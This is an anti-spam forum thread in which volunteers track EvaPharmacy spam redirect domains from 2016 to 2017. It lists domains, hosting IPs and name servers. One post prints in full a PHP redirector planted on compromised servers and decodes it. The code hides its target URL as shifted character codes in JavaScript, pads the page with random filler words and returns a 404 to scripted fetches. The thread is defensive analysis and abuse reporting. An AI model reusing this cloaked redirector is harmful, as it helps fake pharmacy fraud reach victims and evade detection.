Eva Pharmacy redirections

Spammers should not profit, so post information here that hits their pockets. There are many ways to fight spammers, and we have automation tools to combat them efficiently. These forums are moderated, but do not reflect the views of the hosting company, domain registrar, etc. By entering any of these forums, you agree that you cannot hold anyone liable for anything related in any way to these forums.

Re: Eva Pharmacy redirections

Postby Red Dwarf » Wed Jan 13, 2016 4:36 pm

This was the list of live redirections, as seen at the end of March 2015. They were then all registered with R01 in Russia, the home of this fraud.

Code: Select all
    c100.mypharmservice.ru  =  dead 1/2016
    c102.canadianpilleshop.ru  =  dead 1/2016
    e100.familymedsvalue.ru  =  dead 1/2016
    e100.mymedicareinc.ru
    e102.leadingcanadian.ru
    e244.safepharmquality.ru
    m100.smartmedspurchase.ru  =  dead 1/2016
    m102.bestdrugpurchase.ru
    o100.assistancesystem.ru  =  dead 1/2016
    o102.naturalfastoutlet.ru
    o244.fastmedicationshop.ru  =  dead 1/2016
  orders.yourdrugsquality.ru
 private.globalpillservices.ru
 refills.familyrxwebmart.ru
      rx.bestrxbargain.ru



January 2016 update. Some of the 2015 domains have expired and been replaced -
Code: Select all
    c100.mypharmservice.ru (suspended)
    c102.canadianpilleshop.ru (suspended)
    e100.securehealthmall.ru
    e102.leadingcanadian.ru
    e244.safepharmquality.ru
    m100.healingfastmall.ru (suspended)
    m102.bestdrugpurchase.ru
    o100.yourmedicaretrade.ru
    o102.naturalfastoutlet.ru
    o244.naturalonlinemall.com (Trunkoz) (suspended Jan 15, 2016)
  orders.yourdrugsquality.ru
 private.globalpillservices.ru
 refills.familyrxwebmart.ru
      rx.bestrxbargain.ru
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Wed Jan 27, 2016 9:17 pm

Latest redirections for Eva Pharmacy frauds

* c100.privatepillpurchase.com (Tucows) suspended
c102.perfectnaturalsale.ru
e100.securehealthmall.ru
* e102.privaterxdeal.in (Tucows) suspended
e244.myhealthcaretrade.ru
* e244.safepharmquality.ru dead
* m102.safeherbinc.com (Tucows) suspended
* o100.yourmedicaretrade.ru
* o102.canadianbestvalue.in (Webiq) suspended
o244.excellentpillssale.ru
online.familyhealthassist.ru
orders.safepharmacysale.ru
* private.myaidgroup.com (Tucows) suspended
* refills.newpharmaceuticsale.com (Tucows) suspended
rx.bestrxbargain.ru

* c100.mypharmservice.ru (suspended)
* c102.canadianpilleshop.ru (suspended)
* c102.globalrxtrade.com (Trunkoz suspended)
* e102.leadingcanadian.ru (dead)
* m100.healingfastmall.ru (suspended)
* m100.healingfaststore.com (Trunkoz suspended)
* m102.bestdrugpurchase.ru (expired)
* o102.naturalfastoutlet.ru (expired)
* o102.thedruggroup.com (Trunkoz suspended)
* o244.magicgenericquality.com (Trunkoz suspended)
* o244.naturalonlinemall.com (Trunkoz) (suspended)
* orders.yourdrugsquality.ru (dead)
*private.globalpillservices.ru (expired)
*refills.familyrxwebmart.ru (expired)
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby spamislame » Tue Feb 23, 2016 5:19 pm

I initially posted this in the Safflower Stealth thread () but realized it wasn't the same thing.

So I put it here instead. :)

Here's what one of the EvaPharmacy php files look like (apologies, I had to hard-wrap it to make it legible here.):

Code: Select all
<?php
function html($data)
{
$html=implode("\r\n",array("%1html%3","%1head%3",head(),"%2head%3","%1body%3%sig
n%",body($data),"%2body%3","%2html%3"));
$html=preg_replace('/%1/',"<",$html);$html=preg_replace('/%2/',"</",$html);$html
=preg_replace('/%3/',">",$html);
$sign=parag(1,1).(strlen($html)+31331);$html=preg_replace('/%sign%/',$sign,$html
);
return $html;
}
function body($data)
{
srand(seed());
$body=array();
for($i=0;$i<rand(3,10);$i++)
{
$text=parag(50,250);
srand(seed());
$tags=array("p","div","span");$tags=$tags[rand(0,count($tags)-1)];
array_push($body,"%1$tags%3",$text,"%2$tags%3");
}
array_push($body,js($data));
return implode("\r\n",$body);
}
function head()
{
srand(seed());
$title=parag(2,10);
$charset=array("ISO-8859-1","UTF-8");$charset=$charset[rand(0,count($charset)-1)
];
$headers=array("%1style type=\"text/css\"%3\r\nbody { background:#ffffff;
color:#ffffff; }\r\n%2style%3","%1title%3$title%2title%3","%1meta
http-equiv=\"Content-Type\" content=\"text/html; charset=$charset\"%3");
srand(seed());
$rnd_num=rand(0,1);
if($rnd_num)
{
$description=parag(4,10);
$keywords=array();for($i=0;$i<rand(1,10);$i++){array_push($keywords,parag(1,1));
} $keywords=implode(", ",$keywords);
srand(seed());
$additional=array("%1meta name=\"description\"
content=\"$description\"%3","%1meta name=\"keywords\"
content=\"$keywords\"%3");$additional=$additional[rand(0,count($additional)-1)];
array_push($headers,$additional);
}
shuffle($headers);
return implode("\r\n",$headers);
}
function js($data)
{
array_unshift($data,119,105,110,100,111,119,46,116,111,112,46,108,111,99,97,116,
105,111,110,46,104,114,101,102,61,39);array_push($data,39,59);
srand(seed());$diff=rand(1,100);$name=parag(1,1);
$code="%1script type=\"text/javascript\"%3\r\n";
$code.="function ".$name."e() { ";
$code.=$name."a=$diff; ".$name."b=[";
$list=array();foreach($data as $byte){array_push($list,($byte+$diff));}
$code.=implode(',',$list);
$code.="]; ";
$code.=$name."c=\"\"; for(";
$code.=$name."d=0;".$name."d<".$name."b.length;".$name."d++) { ";
$code.=$name."c+=String.fromCharCode(".$name."b[".$name."d]-".$name."a); }
return ";
$code.=$name."c; } ";
$diff+=1234;$code.="setTimeout(".$name."e(),$diff);\r\n";
$code.="%2script%3";
return $code;
}
function parag($min,$max)
{
srand(seed());
$parag="";
$words=array("theres","such","a","place","as","yarrow","thou","whose","fancies",
"from","afar","are","brought","little","flowerill","make","stir","when","all","a
live","with","merry","chimes","has","it","in","her","power","again","and","fortu
ne","gifts","lies","garland","of","seven","lilies","wrought","should","life","be
","dull","spirits","low","that","they","wanton","wooers","but","we","will","leav
e","growing","years","to","mother","bring","distress","prophet","delight","mirth
","inhale","deeply","right","until","level","the","dust","noble","horde","preser
ve","for","thee","by","individual","water","you","can","start","he","was","free"
,"write","on","snow","yet","left","conquered","mountain","peaks","this","is","ca
lm","there","cannot","stayed","pushkin","never","tried","flee","together","plung
d","into","deep","legs","move","not","if","set","signboard","blaze","weakstraigh
t","grave","well","wander","scotland","thorough","strikes","solitary","sound","w
hat","evil","spirit","deception","my","opponent","played","knows","guess","just"
,"lapped","icecold","milky","way","killing","i","have","made","myself","perhaps"
,"quick","eager","visitings","nor","quit","thy","shore","conspicuous","object","
nations","eye","watched","me","rise","awe","neighborlowlifes","shared","while","
pattern","knights","dance","under","jedborough","tower","screams","weak","allow"
,"pass","cheers","melancholy","mate","let","beeves","homebred","kine","partake",
"twas","face","did","know","stood","against","were","sieving","grain","ossian","
last","his","race","telling","now","worldly","grandeur","despise","woman","road"
,"met","one","chance","look","turn","taken","praise","thine","any","burden","sou
l","pain","keep","squatting","till","drop","darling","passion","approve","slippe
d","cliff","better","memory","punish","him","constant","checking","selfsacrifice
","cover","leaves","children","forlorn","estate","maytime","chearful","dawn","qu
een","greater","than","rest","recollect","doomd","jostle","unkindly","shocks","s
quares","more","like","circles","eyes","sea","grief","splashing","diffusion","cr
own","win","stirring","brake","fern","time","before","thrush","ever","deeds","gi
ve","birth","bay","quiet","or","unthoughtof","obscurity","sad","sight","shepherd
","sigh","shake","flowing","rivers","would","hide","she","wait","return","pity",
"whom","must","follow","head","fall","starting","duel","so","inane","brothers","
reachd","gateway","who","art","light","guide","rod","something","deeper","far","
these","neither","shape","danger","dismay","lanes","thoughts","pursuing","good",
"men","do","sate","denial","restraint","prize","how","nourishd","here","through"
,"long","ground","thankfulness","halts","searches","smitten","heart","god","only
","known","some","might","say","run","cry","nay","us","die","oh","strong","force
ful","echo","voice","enwrought","tempted","able","endure","speak","horn","shall"
,"witness","pasture","expending","vegetarian","love","sweet","highland","girl","
part","an","indian","approach","every","angle","sought","moral","creed","deaf","
drooping","doom","hangover","quickening","thence","also","tenderness","influence
","peculiar","grace","risen","out","many","nownow","along","gap","where","edge",
"very","narrow","been","then","thought","joy","wants","eatand","eat","beg","plea
se","your","quite","advanced","died","cabin","small","betwixt","living","dead","
oer","lauras","over","hill","hollow","evolve","havoc","disease","risk","land","s
ped","horse","away","wounded","game","workman","worthy","sainted","bold","hubert
","lives","glee","scramble","cities","crowded","streets","apprehensions","come",
"crowds","dweller","savage","ends","maintain","rights","those","rules","saw","up
on","nearer","view","said","beneath","cloak","separation","music","bore","beauti
ful","verses","their","honor","penned","ages","heirs","value","masters","side","
murmur","near","silent","lake","yarrows","banks","herons","feed","towards","peop
le","era","grew","colder","night","day","at","even","morn","brain","wisdom","gre
edy","spider","flower","mine","check","erring","reprove","alas","received","chee
rless","murky","space","depleting","gloomily","gleaming","harking","talking","ma
n","arms","wish","thing","unreconciled","pious","bird","scarlet","breast","bluec
ap","colours","bright","ye","thoughtless","pair","old","unhappy","faroff","thing
s","above","human","estimate","crawling","lurking","concealing","others","spille
d","blood","moment","stay","brink","paris","france","disapproved","sharing","see
","hamiltons","ballad","took","jacket","off","effect","no","babe","proposed","ca
stle","trade","board","prove","best","heights","boughs","them","closing","comman
dment","kill","vain","causeless","led","lucy","spot","continued","rue","posterng
ate","slunk","sun","shade","annoying","crickets","voluptuously","luscious","gods
","appointment","sway","heave","after","our","first","green","pastures","remain"
,"which","nothing","sweeter","heard","hungered","fame","accused","gaiety","coura
geous","shows","its","hunting","sinful","demand","roaring","yelling","peace","di
sturbing","contracted","own","hurried","ran","called","though","past","prime","f
eeling","renderd","compassionate","grip","pistol","hand","go","spots","bough","g
rassy","blade","sweat","tenseness","wedding","down","rocks","leap","plaintive","
numbers","flow","lost","weight","slept","fine","gradually","vanishing","century"
,"lasting","slowly","passed","strike","take","aim","famous","robin","hood","inde
ed","claim","principles","amen","poor","yurik","steph","empty","terrors","overaw
e","sweets","burnmill","meadow","convent","hermits","cell","wooden","castles","r
ooks","bar","closed","months","went","smilingly","repeats","moan","moss","stone"
,"incapable","vengeance","refuse","lineswithout","doubt","poet","play","awesome"
,"appetite","works","three","four","smiles","motion","sky","serene","pure","almo
st","could","repine","hadst","boast","didst","foot","had","useless","trunk","var
ious","poems","scene","laid","buds","taught","piece","route","falsely","correctl
y","single","passd","sir","eustace","present","does","bard","sleep","dilemma","a
ppeared","warn","comfort","command","countless","warriors","pale","trembling","d
enmark","cast","exceeding","pleasure","among","farthest","hebrides","spite","rea
son","thoughtful","herdsman","strays","stately","passions","burn","fought","luci
es","fair","hangs","apple","frae","rock","second","twilight","looks","gay","alth
ough","wild","moor","wood","fairest","creatures","desire","increase","wind","thr
ew","words","pleasance","transports","advantage","jab","playmates","sunny","weat
her","swap","each","figure","liquor","glass","why","am","ignorant","same","awaki
ng","sleeping","marching","parading","most","important","true","solitude","binno
rie","lie","about","feet","moving","back","forth","hath","family","outlaw","dari
ng","mood","egremonts","domains","death","emerges","done","worldlings","unmovd",
"mind","lanetheres","morning","rub","yourself","harder","two","simple","phrases"
,"unfinished","scenes","need","child","eddying","round","sink","flew","during","
term","hear","neglect","lower","world","descending","bravery","times","conclusio
n","drawn","raw","wet","stirs","doors","brother","seems","singingbird","gone","p
icture","wellspent","seemd","paltry","indopakistani","struggle","highranking","a
dolescents","worse","ourselves","walk","started","perceive","duller","none","tra
cks","motions","slow","knowing","think","lofty","woke","forgive","tough","become
","favour","sounded","alone","enormous","barrier","binds","fast","find","longs",
"get","trapped","fishermen","net","large","droplets","flowers","laugh","beds","h
igher","hast","summoned","melt","pointed","lance","travel","hours","perfect","gl
adsomeness","rage","rush","around","house","pother","young","lambs","fullgrown",
"flocks","beside","heathy","dell","close","behind","frosty","air","fishers","sis
ters","johnny","warned","watch","foresee","moves","surely","surrender","quality"
,"act","tales","whybecause","rule","steep","up","kind","chaunt","passing","stave
","capable","rate","strange","slight","scorn","fear","clear","weeds","law","depe
nds","port","plane","april","still","asking","deceitful","solution","chime","fan
cy","wrong","trod","clyde","tay","skies","stream","flows","bonny","holms","maimd
","mangled","inhuman","often","sighd","measure","summers","heat","winters","trav
eller","whole","summer","fields","peers","whats","arm","bear","vision","sovereig
n","enact","winsome","marrow","tell","everything","closer","fellowship","count",
"glittering","countenance","moved","expressd","lines","yes","endless","problem",
"answer","seemed","strife","despair","glorious","ministry","thats","moon","choic
e","blurry","meat","bullets","easy","chewable","food","comprehends","trust","rem
nant","uneasy","crystal","flakes","brilliant","glow","wave","fare","talented","h
ymns","sings","springtime","cuckoobird","oft","nooks","remote","brave","rob","ro
y","impossible","doth","won","found","hopeless","honour","gain","creature","lord
","friend","tackle","becoming","irate","gentle","nature","guard","ill","flaring"
,"unusual","primroses","glory","branches","quietly","squealing","joyous","other"
,"stuff","age","twine","brows","fresh","spring","brings","decay","hell","else","
bawling","raving","signing","flirting","july","suns","feels","games","giddy","sp
rite","darkness","pleasd","equal","lay","sights","rough","sounds","rains","comes
","sparkle","cheek","agile","neat","pansies","kingcups","daisies","desperately",
"try","shot","caught","utmost","bounty","kindle","fire","new","stirrd","too","se
date","outward","show","kings","aces","disguise","lonely","deem","unmeet","news"
,"sleeps","glen","without","someone","attacked","pretty","kitten","freaks","leaf
","glowworm","quickly","may","float","double","swan","shadow","daunted","father"
,"recompence","catch","lips","mazy","unravelld","really","roam","abides","resolv
e","stops","lookd","wanting","once","fish","raves","thus","daily","selfsurpast",
"going","hence","livst","less","ambitious","sprint","fly","crags","repeat","rave
ns","croak","bliss","number","funny","droll","repeating","timid","coming","whenc
e","kindly","unassuming","cheer","wings","arch","wily","ways","lead","generous",
"books","course","call","household","fitted","needs","lovely","apparition","sent
","hook","jaw","early","breath","tigerleap","half","late","conceived","proper","
curse","lacked","fully","methods","attack","mad","throughout","conflict","keeps"
,"forward","persevering","gallop","horses","peaceful","bed","because","museand",
"agree","shoved","unwelcome","tasks","word","fulfilld","singing","hearts","insan
e","happened","surgeon","cut","across","thither","rainbow","cloud","figurethere"
,"year","dost","confession","askd","forgiveness","fellow","feats","vainly","spre
ads","lure","inheritest","lions","den","endurance","foresight","strength","skill
","hid","care","thousand","standersby","evermore","beguild","whether","blows","w
estern","bound","himself","unbound","ownd","precipice","front","begin","fro","hu
rry","fight","rover","suddenly","agreed","draw","shone","tree","observed","blund
er","enough","earth","heaven","imagery","lowlier","gains","rewards","privileges"
,"loch","ketterine","evening","sunset","mien","blending","pawn","standing","prou
d","country","bred","adopt","homely","dress","within","bud","buriest","content",
"glitters","plain","pinfoldlike","burialgrounds","neglected","desolate","showers
","manna","breaking","defense","told","simply","fidelity","dog","hovering","nigh
","hospitably","entertained","weeks","dismal","guarding","protecting","meet","pl
easant","build","sides","wishes","carst","naught","longest","appetizer","use","b
ottle","sign","fallen","faculties","english","balladsingers","transient","sorrow
s","wiles","tender","heir","flight","surrounded","ancient","heavens","writing","
rhymes","england","hawk","prey","maiden","dwelling","yon","lass","yelping","runs
","symphony","austere","hed","today","disgrace","unwind","drink","sing","blast",
"utterd","unskillfulness","aid","aside","smoke","image","outlined","hang","remem
berd","blest","got","fastidious","coronet","riding","home","stormy","louisa","le
ts","bad","receives","fiercely","hunters","line","lightweight","bishops","feeble
","forms","covert","peep","travellers","shady","haunt","askest","stared","blink"
,"came","clovenford","few","meagre","vales","confind","joys","spy","bosom","helv
ellyn","rocky","supplicate","controul","travelld","unknown","exposd","suffering"
,"furnishes","suspended","defeat","hanging","tail","step","frost","shew","help",
"frame","listen","tight","thong","later","learned","panic","winds","brook","sits
","vacant","shots","being","fired","aims","grass","forgivn","guards","feel","res
tless","loudly","grunting","running","painted","robins","breathed","burthen","fa
shiond","dream","knew","matron","due","blasts","wit","towel","spotted","fruit","
unripe","industrious","folly","patient","primrose","fault","dusk","ive","seldom"
,"markd","press","likewise","sons","daughters","dig","inside","plate","throat","
walked","throne","deserved","missing","link","glides","dark","hills","nest","cri
ed","loves","friends","trim","hues","filld","tears","whateer","enjoyments","dwel
l","ripening","innocence","example","gave","looking","snack","records","promises
","submit","bowers","playd","gambol","lifes","falling","state","youth","pathway"
,"cultivated","heaved","holding","lover","craved","quell","foes","unfolding","wi
de","earthly","cares","asleep","pyramid","celandine","bag","lose","shout","whist
le","ear","bitterness","quietness","thickets","fifty","greetings","stirringly","
swimming","walking","repose","twice","consenting","shed","glance","eagerness","c
hasing","mice","health","body","pind","theme","sung","another","grizzly","speech
","bit","makes","decoy","chased","harnesses","high","darts","blame","wildest","s
cream","ah","already","spent","pride","gazed","conveyd","wealthy","treasure","dr
ead","rustling","utterly","guise","kept","voyages","delights","mournful","tale",
"keen","white","great","issues","humankind","spare","conflicts","fate","unaware"
,"astronomer","break","silence","throw","needful","knight","verse","steerd","pro
clamationhorn","mock","apparel","son","humbled","sit","walls","truth","seem","an
swerd","soon","question","appearance","meets","sang","battles","soccer","player"
,"tarn","below","wrongs","scarcely","heed","blocked","lane","faery","voyager","b
oth","wise","crush","rival","howsoever","mean","derived","search","starsigntauru
s","grasped","immobility","lithest","gaudiest","harlequin","kisses","touch","sip
","separating","opposing","notion","proved","booze","coffee","charms","seas","th
read","ariadne","scheme","chef","convinced","scared","steps","virgin","liberty",
"days","following","husband","govern","record","honest","continuing","imprisond"
,"hot","sunshine","inheritance","twilights","dusky","hair","whatsoeer","sunbrigh
t","full","childish","liveth","despaird","believd","remains","wearily","length",
"flaw","unknowingly","missed","stirrups","disciplined","wicked","sickle","bendin
g","stop","matter","learn","history","bleak","mild","concerns","ordinary","winte
r","wears","proof","roys","alert","planned","plotted","fierce","row","dauntless"
,"challenge","ask","apply","beauty","dower","woe","lintwhites","chorus","fellowt
raveller","cold","ice","worlds","flu","illnessthree","region","lucky","bastard",
"twill","soothe","sorrow","polity","sacrifice","christ","saviour","sticking","ke
rchiefplots","mold","name","river","bare","wanderers","thousands","dollars","eff
ortless","money","fatherly","concern","pang","vexd","aver","multitude","sweetly"
,"reposing","bands","armsout","trees","veil","withdrawn","hut","tour","confuse",
"debut","godheads","benignant","andmoney","needed","ride","barking","cat","plays
","neatly","error","unprofitable","ophilia","dear","delighted","sake","replaced"
,"athletic","prophy","guessing","tundra","peter","norway","boors","prison","clin
icmy","seemliness","complete","sways","seen","tiviot","dale","familiar","provoke
s","lady","shares","wonder","merits","resolved","eer","champion","brotherhood","
venerable","damn","fawns","extacy","buttercups","unheard","cull","faculty","stor
m","turbulence","happy","genial","barely","cool","diffuse","blessd","main","emba
rrassd","shy","next","sense","persons","advance","hamilton","beginning","shield"
,"latest","impearling","lucie","born","figures","braes","humbly","bloodshed","mi
serable","train","courtesies","wilt","panting","violets","acted","tidings","woes
","end","stars","hungry","surprised","tells","clamor","stopped","dries","used","
severe","since","untowardness","poets","mere","mostly","rooted","chair","livd","
lands","soothed","milder","airs","stranger","seemingly","civil","harmless","stan
d","straight","nervous","daisy","blessed","rising","collapse","reaping","herself
","remember","amazing","palms","infants","laughing","puzzled","blinded","immedia
tely","leaps","feeding","appletree","superstition","worth","taking","sympathy","
heeds","trace","upstarting","affright","greetst","fowls","ref","hadn","opened","
score","nobody","posterity","renownd","unexciting","vice","guests","listend","fi
ll","reaper","bushes","mournfully","eggs","gaze","places","hurrythree","flourish
","seeking","school","scannd","dewdrop","unto","lowly","pursue","pox","turns","n
ecessity","beloved","possess","grotto","particular","exquisite","baby","chains",
"tie","befal","yellow","rouzd","vale","holiday","flutterd","perchd","thank","mec
hanic","whip","lash","striking","force","applying","muscles","shaped","wake","hi
ghlands","troubles","beyond","relief","untimely","joyousness","hideandseek","hom
efelt","pleasures","itself","common","breeds","liked","greeting","mountains","ea
gle","seventythree","nighttime","short","hither","straightway","behold","seehis"
,"fork","begins","rattle","boat","graven","read","fathers","courtesy","runaway",
"beautifully","outstandingly","clever","prettiest","tumbler","infant");
if($min==1)
{
return $words[array_rand($words)];
}
else
{
$words_idx=array_rand($words,rand($min,$max));
$first_upc=1;
$parag=array();
foreach($words_idx as $idx)
{
$word=$words[$idx];
$rnd_num=rand(0,1);
$sym="";
if($rnd_num)
{
$rnd_sym=array(","," -",":",".");
$rnd_num=rand(0,count($rnd_sym)-1);
$sym=$rnd_sym[$rnd_num];
$word.=$sym;
}
if($first_upc)
{
array_push($parag,ucfirst($word));
$first_upc=0;
}
else
{
array_push($parag,$word);
}
if($sym=="." || $sym==":") $first_upc=1;
}
array_push($parag,$words[array_rand($words)]);
}
return implode(" ",$parag).".";
}
function seed()
{
list($usec,$sec)=explode(' ',microtime());
return(float)$sec+((float)$usec*100000);
}
header("HTTP/1.1 404 Not
Found");echo(html(array(104,116,116,112,58,47,47,112,101,114,102,101,99,116,100,
114,117,103,115,118,97,108,117,101,46,114,117)));
?>


That last bit is the payload:

Code: Select all
echo(html(array(104,116,116,112,58,47,47,112,101,114,102,101,99,116,100,
114,117,103,115,118,97,108,117,101,46,114,117)));


Really they put all of that code in there to completely randomize the output. That array of single words is used throughout. Every parameter used by the resulting javascript derives its name from that random word list. But that final line is really just the "charcode" values of the target url.

104,116,116,112,58,47,47,112,101,114,102,101,99,116,100,114,117,103,115,118,97,108,117,101,46,114,117

Translated to:

http://perfectdrugsvalue.ru

The files are placed on the server via automated means, so whichever process is doing this does so with a seeded final destination url that it turns into these charcodes, and then generates this php file. Every php file has its own custom set of random words.

Also note the 404 response just prior to output:

Code: Select all
header("HTTP/1.1 404 Not
Found");echo(html(array(104,116,116,112,58,47,47,112,101,114,102,101,99,116,100,
114,117,103,115,118,97,108,117,101,46,114,117)));

What that's saying is:

By default, output a 404 not found response, and then run the "html" function feeding it the charcodes of the destination url.

If you try to wget or curl the url: you get the 404. Same for any other means of deriving the url via alternate methods besides direct browsing. Otherwise it ultimately outputs a redirect to the target url.

SiL
User avatar
spamislame
Site Admin
 
Posts: 5057
Joined: Tue May 09, 2006 9:18 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Sat Sep 17, 2016 8:57 pm

Sept 18 2016

Latest list of redirections:

c100.myhotmall.ru
c102.hotpharmacymall.ru

m100.privatepillgroup.ru [expired Jan 28 2016] replaced with m100.myaidsupply.eu
m102.thefastoutlet.ru

o100.fastcareshop.ru
o102.familytabsgroup.ru
o244.mymedicaremall.ru

e100.securehealthmall.ru
e102.thecanadianinc.ru
e244.myhealthcaretrade.ru

online.familyhealthassist.ru
orders.newrxshop.ru
private.myrxmart.ru
refills.securehotshop.ru
rx.firstrxgroup.ru

ilist.bestcareoutlet.ru
npd.bestcareoutlet.ru
web.bestcareoutlet.ru


NOTE:
Prefixes starting with C (C100, C102 etc) are Canadian Health&Care Mall
Prefixes starting with M (M100, M102 etc) are My Canadian Pharmacy
Prefixes starting with O (O100, O244 etc) are RxMedications
The rest (refills, private, online, web, rx, E100, E102, E244 etc) are RxExpressOnline

Today they reside on just 2 IP addresses, both in Paris, France
62.210.127.194 abuse@online.net
163.172.196.26 abuse@online.net
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Fri Nov 18, 2016 3:54 pm

There has been a change. All but one of the redirections are serving up the CanadianPharmacy brand

Code: Select all
c100.hothealthshop.eu
c102.perfectcaresale.com
e102.perfectcaresale.com
e244.smartpillelement.eu
m100.hothealthshop.eu
m102.perfectcaresale.com
o100.hothealthshop.eu
o102.perfectcaresale.com
o244.smartpillelement.eu
online.smartpillelement.eu
orders.smartpillelement.eu
private.hothealthshop.eu
refills.perfectcaresale.com
rx.hothealthshop.eu
web.hothealthshop.eu


The exception is ilist.bestcareoutlet.ru which in turn redirects to onlinedrugmall.ru which is the brand RxExpressOnline

As of yesterday, about 300 stopped resolving from their name servers, about 200 belonging to Key-Systems, 40 from PDR and a few from Endurance Domains and Tucows. This appears to be an action from some other source than the registrars - most likely
(a) the EvaPharmacy operation is having technical troubles with their DNS infrastructure
(b) another force is cleaning up their compromised DNS servers

IP addresses of failing name servers include
    125.212.224.130
    43.225.108.11
    60.213.232.134
    80.87.201.130
    89.200.140.148
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Sat Dec 03, 2016 3:06 am

Latest redirection targets - December 2016

Code: Select all
c100.myhotmall.ru suspended
c102.hotpharmacymall.ru
e100.securehealthmall.ru
e102.thecanadianinc.ru
e244.myhealthcaretrade.ru suspended
m100.privatepillgroup.ru
m102.thefastoutlet.ru
o100.fastcareshop.ru
o102.familytabsgroup.ru
o244.mymedicaremall.ru
online.familyhealthassist.ru
orders.newrxshop.ru suspended
private.myrxmart.ru suspended
refills.securehotshop.ru
rx.firstrxgroup.ru
web.bestcareoutlet.ru


IP addresses used for hosting:
163.172.196.26
62.210.127.194

NOTE:
Prefixes starting with C (C100, C102 etc) are Canadian Health&Care Mall
Prefixes starting with M (M100, M102 etc) are My Canadian Pharmacy
Prefixes starting with O (O100, O244 etc) are RxMedications
The rest (refills, private, online, web, rx, E100, E102, E244 etc) are RxExpressOnline
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Sat Dec 10, 2016 2:04 pm

A set of non RU domains have been seen today in what looks like an experiment, but not very successful

Code: Select all
c100.privatedrugstore.be
c102.homeonlineinc.click
e100.hothealthshop.eu not resolving
e102.fastmedicalinc.in
e244.bestsmartmart.com suspended
m100.hothealthshop.eu
m102.onlinefastmart.link
m102.perfectcaresale.com
medicatingsmartshop.be
o100.hothealthshop.eu
o100.privatecarestore.eu
o102.homeaidmart.click
o244.pureaidgroup.click
o244.smartpillelement.eu
online.medicalhotsale.eu
online.smartpillelement.eu
orders.goodrxmarket.com suspended
orders.smartpillelement.eu
perfectmedspurchase.be
private.fastcareoutlet.in
private.hothealthshop.eu not resolving
refills.luckypharmacyinc.eu
refills.perfectcaresale.com
rx.hothealthshop.eu not resolving
rx.perfectpillsmart.eu
web.hothealthshop.eu not resolving
web.onlinefastdeal.eu


Of those, hothealthshop.eu is not resolving because it's name servers are refusing to do name resolution
ns2.mjvkhoeo.ru
ns1.cusfxdeq.com
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Mon Jan 30, 2017 10:13 pm

Today's list. These should receive the attention of MYWOT, because so many other domains redirect to them.
Code: Select all
c100.fastmedsoutlet.ru suspended
c102.familyaideshop.ru suspended
e100.therxwebmart.com suspended
e102.mypharmacystore.ru
e244.thepillshop.ru
* m100.myaidsupply.eu  suspended
m102.myprivatedeal.ru
o100.bestdrugstore.ru suspended
o102.homedrugsale.ru suspended
o244.yourtabsmall.ru
online.thefamilyelement.ru
orders.bestcarestore.ru suspended
private.safecarevalue.ru
refills.globalbestmart.ru suspended
rx.perfectpillsmart.eu suspended
smartpharmelement.ru
web.magicpharmoutlet.ru


EDIT: Updated with suspensions Apr 28 2017

NOTE:
Prefixes starting with C (C100, C102 etc) are Canadian Health&Care Mall
Prefixes starting with M (M100, M102 etc) are My Canadian Pharmacy
Prefixes starting with O (O100, O244 etc) are RxMedications
The rest (refills, private, online, web, rx, E100, E102, E244 etc) are RxExpressOnline
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Thu Feb 02, 2017 3:58 pm

UPDATE: Feb 1 2017 myaidsupply.eu was suspended today by Key-Systems on request.
Name: Key-Systems GmbH
dispute-ns1.key-systems.net
dispute-ns2.key-systems.net

Redirecting domains that were going nowhere at that moment that previously landed there:
bryanachryste.be
beretsarajane.ru
glenniebritteny.be
shellierafaelia.eu
rakelsandytiff.be
luracarolyne.su

They are now redirecting to a replacement target.
m100.luckypillstore.ru EDIT: May 8 2017 - this is not running either]

---------------------------

UPDATE: Feb 2 2017 perfectpillsmart.eu was suspended today by Key-Systems on request.
Name: Key-Systems GmbH
Name servers:
ns1.suspended-domain.com

Examples of redirecting domains going nowhere at this moment that previously landed there:
gwencelestyn.ru
linnearamona.su
lonnajackelyn.su
maxinemaialib.eu
maxinedenyse.su
freddifionna.in

The replacement target is rx.bestonlineassist.ru
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Fri Apr 28, 2017 7:36 pm

Today's redirections, deserving of MYWOT and SITEADVISOR evaluations

Code: Select all
IP address 51.15.145.121

c100.therxsale.su
c102.trustedrxshop.ru
e100.newdrugmarket.su
e102.fastrxdeal.ru
e244.purepillmall.ru
m100.goodrxoutlet.ru
m102.onlinerxprogram.ru
o100.securerxelement.ru
o102.onlinesmartsale.ru
o244.familyrxmarket.ru
online.globalmedsmarket.su
orders.canadiandrugsale.ru
private.newsmartstore.ru
refills.thepillscompany.su
rx.securesecuresale.ru
securerxelement.ru
web.magicrxcompany.su


Key:
Prefixes starting with C (C100, C102 etc) are Canadian Health&Care Mall
Prefixes starting with M (M100, M102 etc) are My Canadian Pharmacy
Prefixes starting with O (O100, O244 etc) are RxMedications
The rest (refills, private, online, web, rx, E100, E102, E244 etc) are RxExpressOnline
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Mon May 08, 2017 12:53 am

May 8 2017

Code: Select all
c100.therxsale.su
c102.trustedrxshop.ru (failing)
